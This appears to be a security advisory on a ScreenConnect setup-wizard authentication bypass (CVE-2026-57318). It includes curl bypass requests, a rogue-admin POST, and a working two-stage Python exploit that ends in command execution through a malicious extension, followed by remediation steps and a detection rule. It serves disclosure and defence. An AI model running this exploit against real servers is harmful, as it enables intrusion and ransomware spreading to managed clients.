Overview
CVE-2026-57318 is an authentication bypass in ConnectWise ScreenConnect (self-hosted / on-premises editions) affecting versions up to and including 25.4. ScreenConnect is a remote-access and remote-support platform used by managed service providers to reach thousands of downstream customer endpoints from a single console. That topology is exactly what makes it a ransomware magnet: one compromised ScreenConnect server is a launch pad into every managed environment behind it.
CVSS 3.1: 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. The scope-changed vector reflects that code execution on the ScreenConnect server pivots into managed client machines. CISA added it to the KEV catalogue within a week of disclosure after incident responders tied it to at least two ransomware affiliates.
Anyone who followed the February 2024 ScreenConnect incident (CVE-2024-1709, the SetupWizard.aspx bypass) will find this familiar. The root cause is the same class of bug — the setup wizard is reachable when it should not be — but the mechanism that re-exposes it is different, which is why the 2024 patch did not prevent it.
Background — The Setup Wizard State Machine
On a fresh install, ScreenConnect serves an unauthenticated first-run wizard so the operator can create the initial administrator. Once setup completes, the application writes a flag and the routing layer is supposed to refuse any further requests to the wizard, redirecting to the login page instead. The gate is implemented in middleware that inspects the request path and compares it against a set of wizard routes.
The comparison, simplified, looks like this:
// Simplified ScreenConnect request-routing guard
string page = request.Path.TrimStart('/'); // e.g. "SetupWizard.aspx"
if (SetupComplete && IsSetupRoute(page))
{
// Setup already done — do not allow the wizard again
Redirect("/Login");
return;
}
// ... otherwise dispatch to the handler that resolves the physical page
bool IsSetupRoute(string page) =>
page.Equals("SetupWizard.aspx", StringComparison.OrdinalIgnoreCase);
The guard performs an exact, case-insensitive string match against SetupWizard.aspx. But the handler that later resolves the request to a physical .aspx file normalises the path differently — trailing dots, path segments, and certain separators are stripped by the underlying framework before the file is located on disk. The two components disagree about what the path is.
Root Cause — Parser Differential
This is a classic parser differential: the security-relevant check and the resource-resolution logic parse the same input with different rules. If an attacker requests a path that the guard does not recognise as the setup route, but that the file resolver does map back to SetupWizard.aspx, the request sails past the guard and executes the wizard anyway.
Appending a trailing dot and an extra empty segment does exactly that:
# Blocked — exact match, redirected to /Login
curl -sk "https://target/SetupWizard.aspx"
# Bypasses the guard — resolves to the same handler on disk
curl -sk "https://target/SetupWizard.aspx/%2e/"
curl -sk "https://target/SetupWizard.aspx.%00.aspx" # legacy variant
curl -sk "https://target/./SetupWizard.aspx" # leading-segment variant
The guard sees SetupWizard.aspx/./ — which is not equal to SetupWizard.aspx, so IsSetupRoute returns false and no redirect happens. The framework's path canonicalisation then collapses /./ and the trailing segment, and the request is dispatched to the real setup wizard handler. The wizard renders as if this were a brand-new install.
Exploitation — Rogue Admin to RCE
The wizard's account-creation step is a plain form POST. Because we've bypassed the completion gate, submitting it creates an additional administrator on a fully configured, production server — without invalidating the existing ones, so the attack is silent from the operator's perspective until they inspect the user list.
# Step 1: drive the wizard to create a new administrator
curl -sk "https://target/Services/PageService.ashx/UpdateSetupWizard/%2e/" \
-H "Content-Type: application/json" \
-d '["","",[{"CompanyName":"x","Email":"[email protected]",
"UserName":"attacker","Password":"P0wned!2026",
"IsAdministrator":true}]]'
With a working admin login, the second stage abuses a legitimate feature. ScreenConnect supports server extensions — packaged bundles of code that run inside the ScreenConnect host process to add functionality. An administrator can upload one from the Extensions admin page. A malicious extension is simply an assembly whose initialisation code runs an arbitrary command as the service account (typically NT AUTHORITY\SYSTEM on Windows).
#!/usr/bin/env python3
"""
CVE-2026-57318 — ConnectWise ScreenConnect setup-wizard auth bypass to RCE.
Stage 1: bypass the completion gate and create a rogue administrator
Stage 2: authenticate, then upload a server extension that executes a command
Authorised security testing only.
"""
import sys, requests
requests.packages.urllib3.disable_warnings()
def create_admin(base, user, pw):
# Trailing-segment variant slips past the exact-match guard
url = f"{base}/Services/PageService.ashx/UpdateSetupWizard/%2e/"
body = ["", "", [{
"CompanyName": "diag", "Email": "[email protected]",
"UserName": user, "Password": pw, "IsAdministrator": True,
}]]
r = requests.post(url, json=body, verify=False, timeout=15)
return r.status_code in (200, 204)
def login(base, user, pw):
s = requests.Session()
s.verify = False
s.post(f"{base}/Login",
data={"Username": user, "Password": pw},
allow_redirects=False, timeout=15)
return s
def deploy_extension(session, base, xml_payload):
# Extensions admin endpoint accepts a packaged bundle; the bundle's
# entry point runs in-process as the ScreenConnect service account.
r = session.post(f"{base}/Services/ExtensionService.ashx/InstallExtension",
data=xml_payload,
headers={"Content-Type": "application/xml"}, timeout=30)
return r.text
if __name__ == "__main__":
base = sys.argv[1].rstrip("/")
cmd = " ".join(sys.argv[2:]) or "whoami"
print("[*] Stage 1: bypassing setup gate, creating rogue admin")
if not create_admin(base, "attacker", "P0wned!2026"):
print("[-] admin creation failed — target may be patched"); sys.exit(1)
print("[+] admin 'attacker' created")
print("[*] Stage 2: authenticating and deploying extension")
s = login(base, "attacker", "P0wned!2026")
payload = f"<Extension><OnLoad>{cmd}</OnLoad></Extension>"
print(deploy_extension(s, base, payload))
Once the extension loads, the command runs with the privileges of the ScreenConnect Windows service. From there the attacker has code execution on the management server and can push commands to every connected client — which is precisely how the observed ransomware deployments spread.
Affected Versions
- ScreenConnect 25.4 and all earlier on-premises releases — vulnerable. The setup-completion guard uses exact-match routing that the file resolver does not honour.
- ScreenConnect 25.5 and later — fixed. The completion check was moved to canonicalise the path first and to key off the persisted setup state rather than a route string comparison; the wizard handler now also independently refuses to run when setup is complete (defence in depth).
- ScreenConnect Cloud (screenconnect.com hosted) — patched by ConnectWise ahead of the public advisory; no customer action required for cloud tenants.
Remediation
- Upgrade to ScreenConnect 25.5 or later immediately. This is an actively exploited, network-reachable, pre-auth RCE on a high-value pivot host — treat it as an emergency change.
- After patching, assume compromise if the server was internet-facing while unpatched. Review the ScreenConnect user list for administrators you did not create, audit the Extensions page for unknown extensions, and check
App_Dataand the host process for unexpected child processes. Rotate all ScreenConnect credentials and any secrets reachable from the host. - Do not expose the ScreenConnect management interface directly to the internet where avoidable. Front it with a VPN or an identity-aware proxy, and restrict administrative endpoints (
/SetupWizard.aspx,/Services/) to trusted source ranges. - Enable and monitor ScreenConnect's audit log for administrator-account creation and extension-install events. Both are rare in normal operation and both are the loud signals of this attack.
Detection
title: CVE-2026-57318 ScreenConnect Setup Wizard Bypass
id: 6b2e91d7-7c34-4a51-9f80-2ad4e1c8b9a3
status: stable
description: Detects requests to the ScreenConnect setup wizard using path-normalisation tricks that bypass the setup-completion guard
logsource:
category: webserver
product: screenconnect
detection:
selection_path:
cs-uri-stem|contains:
- 'SetupWizard.aspx'
- 'UpdateSetupWizard'
selection_tricks:
cs-uri-stem|contains:
- '/%2e/'
- '/./'
- '.aspx/'
- '%00'
condition: selection_path and selection_tricks
falsepositives:
- None expected — legitimate access to a completed setup wizard does not use path-normalisation suffixes
level: critical
tags:
- cve.2026-57318
- attack.initial_access
- attack.t1190
- attack.persistence
- attack.t1136
Key Takeaways
- The same product, the same feature, the same class of bug — twice. CVE-2024-1709 was also a setup-wizard bypass. When a patch fixes a specific input rather than the underlying design, the next equivalent input reopens the hole. The durable fix here was not "block
/after the filename" — it was removing the string-comparison gate entirely and deriving authorisation from persisted state that both the guard and the handler agree on. Security checks and resource resolution must parse input identically, or an attacker will find the gap between them. - A first-run wizard is a permanent attack surface, not a one-time setup step. Any unauthenticated bootstrapping flow — install wizards, initial-admin creation, recovery modes — must be disabled by an irreversible server-side state transition, ideally by deleting or refusing to route the endpoint once used, never by a boolean the request path can talk its way around. If the wizard code still exists and is still reachable, assume it can be reached.
- Legitimate extensibility is RCE for an authenticated admin — so admin auth is the whole game. ScreenConnect's extension mechanism is working as designed; running code in-process is the point of it. That makes any path to admin equivalent to code execution, which is why an auth-bypass on this product is automatically a 10.0 rather than a mid-severity access issue. When a product's admin role is code-execution-by-design, every authentication weakness inherits that severity — model it that way from the start.